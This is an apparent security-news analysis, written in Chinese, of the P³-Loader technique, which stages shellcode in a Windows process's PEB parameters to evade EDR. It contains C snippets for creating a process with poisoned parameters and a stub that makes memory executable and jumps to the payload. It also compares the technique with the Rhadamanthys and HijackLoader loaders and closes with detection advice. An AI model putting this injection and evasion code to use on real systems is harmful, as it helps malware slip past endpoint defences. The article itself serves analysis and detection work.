1. 簡介

在現代進攻性資安的領域中,shellcode 載入器的首要目標是執行惡意 payload,同時對端點偵測與回應 (Endpoint Detection and Response, EDR) 解決方案保持隱形。傳統的注入方法,例如 Process Hollowing Remote Thread Injection ,由於依賴一組可預測的 Windows API 序列(特別是 VirtualAllocEx WriteProcessMemory CreateRemoteThread ),因此受到資安產品的高度監控 [1]

P³-Loader (Process Parameter Poisoning) 專案提出了一種精巧的替代方案,利用 Process Environment Block (PEB) 中的 RTL_USER_PROCESS_PARAMETERS 結構作為 shellcode 的暫存區域。透過「poisoning」標準的程序啟動參數(例如命令列、環境變數或啟動資訊中的保留欄位),攻擊者可以將任意資料傳輸到遠端程序中,而不會觸發與明確記憶體寫入相關的遙測(telemetry) [1] 。這份報告分析了此技術的實作方式、其架構上的優勢,以及與當代規避型載入器(如 Rhadamanthys 和 HijackLoader)相比較的定位。

當 PEB 成為幫兇!P³ 參數劫持實現零 API 寫入的 EDR 繞過,你偵測得到嗎? | 資訊安全新聞

2. 技術基礎:Process Environment Block (PEB)

每個 Windows 程序都維護著一個 PEB,這是一個包含執行時期資訊的關鍵資料結構。在 PEB 中, ProcessParameters 成員指向一個 RTL_USER_PROCESS_PARAMETERS 結構。該結構包含了環境變數、命令列以及其他初始化字串。

P³ 技術利用了 Windows 載入器在初始化期間,會自動將 CreateProcessW 呼叫中的資料複製到目標程序記憶體空間的事實。具體來說, STARTUPINFOW 結構中的 lpReserved 欄位會被複製到程序參數的 ShellInfo 成員中 [1] 。這提供了一個「內建」的資料傳輸機制,可以繞過 WriteProcessMemory

  1. typedef struct _RTL_USER_PROCESS_PARAMETERS {
  2. ULONG MaximumLength;
  3. ULONG Length;
  4. ULONG Flags;
  5. // ... additional fields
  6. UNICODE_STRING ImagePathName;
  7. UNICODE_STRING CommandLine; // Primary candidate for transfer
  8. PVOID Environment; // Primary candidate for transfer
  9. // ...
  10. UNICODE_STRING ShellInfo; // Targeted via lpReserved in STARTUPINFO
  11. // ...
  12. } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

3. 實作分析

P³-Loader 的核心能力是建立一個帶有「poisoned」參數的程序。以下的實作展示了載入器如何在不同的注入向量之間進行選擇: ShellInfo Environment CommandLine

  1. // Implementation of process creation with poisoned parameters
  2. // This function allows the attacker to select the staging location for the shellcode
  3. BOOL CreateProcessWithPoison(int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) {
  4. STARTUPINFOW si = { 0 };
  5. si.cb = sizeof(si);
  6. switch (choice) {
  7. case 1: // Staging via ShellInfo (lpReserved field)
  8. printf("[~] Writing into ShellInfo via lpReserved...\n");
  9. si.lpReserved = poisonParameter; // Shellcode is passed here
  10. return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
  11. case 2: // Staging via Environment block
  12. printf("[~] Writing into Environment block...\n");
  13. // CREATE_UNICODE_ENVIRONMENT is required for proper string handling
  14. return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi);
  15. case 3: // Staging via CommandLine
  16. printf("[~] Writing into CommandLine...\n");
  17. return CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
  18. default:
  19. return FALSE;
  20. }
  21. }

一旦程序以暫停或正常狀態建立,載入器就必須定位被注入的資料。這可以透過使用 NtQueryInformationProcess 查詢目標程序的 PEB,然後讀取 ProcessParameters 結構來達成 [1]

3.1. 執行流程視覺化

以下序列圖說明了在 P³ 注入循環期間,載入器(來源)與目標程序(遠端)之間的互動。

sequenceDiagram participant L as Loader (Source) participant K as Windows Kernel participant T as Target Process (Remote) L->>K: CreateProcessW(lpApplication, poisoned_params) K->>T: Initialize Process & PEB Note over T: Kernel copies poisoned_params to PEB.ProcessParameters L->>K: NtQueryInformationProcess(ProcessBasicInformation) K-->>L: Return PebBaseAddress L->>K: NtReadVirtualMemory(PebBaseAddress) K-->>L: Return PEB structure L->>K: NtReadVirtualMemory(PEB.ProcessParameters) K-->>L: Return RTL_USER_PROCESS_PARAMETERS Note over L: Locate Shellcode address in Target memory L->>K: NtProtectVirtualMemory(PAGE_EXECUTE_READ) L->>K: NtSetContextThread(RIP = Shellcode) L->>K: NtResumeThread()

4. 進階 Shellcode 暫存

使用程序參數的一個顯著限制是 null-terminator 的限制。由於參數被視為字串,shellcode 中的任何 null 位元組 ( 0x00 ) 都會截斷 payload。P³-Loader 透過實作一個 ShellCodeWriter 來解決此問題,該寫入器使用一個小型 bootstrap 存根 (stub) 在記憶體中重構完整的 payload [1]

  1. // ShellCodeWriter snippet for loading and calling shellcode
  2. // This stub changes memory protection and jumps to the payload
  3. void ShellCodeWriter::LoadAndCallShellCode(std::vector<uint8_t> shellcode) {
  4. // ...
  5. // 1. Allocates READWRITE memory for the full payload
  6. CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
  7. // 2. Changes protection to EXECUTE_READ to bypass DEP
  8. // This uses a direct call to VirtualProtect
  9. AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress
  10. SetArgRegister(1, shellcode.size());
  11. SetArgRegister(2, PAGE_EXECUTE_READ);
  12. Call((uint64_t)winapi.VirtualProtect);
  13. // 3. Jumps to the newly allocated area
  14. AppendShellCode("\x41\xff\xe4", 3); // jmp r12
  15. }

5. 比較性研究與規避情境

P³ 技術與其他進階載入器有著概念上的相似之處。例如, Rhadamanthys 竊資軟體 (v0.9.x) 最近更新了其注入選項,允許在自我注入與遠端程序注入之間切換,以規避特定的 EDR 模式 [2] 。同樣地, HijackLoader 採用了像是 Call Stack Spoofing System DLL Remapping 等技術來隱藏其執行 [3]

技術 機制 偵測難度
經典注入 VirtualAllocEx + WriteProcessMemory 高 (受監控的 API)
P³-Loader PEB 參數毒化 低 (合法的程序建立)
Rhadamanthys 0.9.x 多模式注入切換 中 (行為分析)
HijackLoader Call Stack Spoofing + Heaven's Gate 非常高 (反分析)

與使用複雜 Heaven's Gate 轉換來繞過使用者模式 hook [3] 的 HijackLoader 不同,P³-Loader 專注於 資料傳輸 階段。透過利用合法的程序建立流程,它避免了 Rhadamanthys 在執行注入常式時可能產生的「Suspicious write」遙測 [2]

6. 偵測與結論

儘管具有隱蔽性,P³-Loader 仍會留下痕跡 (Artifact)。偵測策略應專注於:

  1. 監控針對遠端程序的 NtQueryInformationProcess 呼叫,隨後對 PEB 進行 NtReadVirtualMemory [1]
  2. 分析命令列引數和環境區塊的熵值(entropy);shellcode 通常比標準字串表現出更高的熵值 [1]
  3. 識別將記憶體區域從 PAGE_READWRITE 轉換為 PAGE_EXECUTE_READ VirtualProtectEx 呼叫,且該呼叫之前沒有 WriteProcessMemory [1]

總而言之,Process Parameter Poisoning 技術代表從「active」注入到「passive」暫存的重大轉變。透過利用 Windows 載入器的內部機制,P³-Loader 成功將足跡最小化,證明了架構上的理解往往比複雜的混淆更為有效。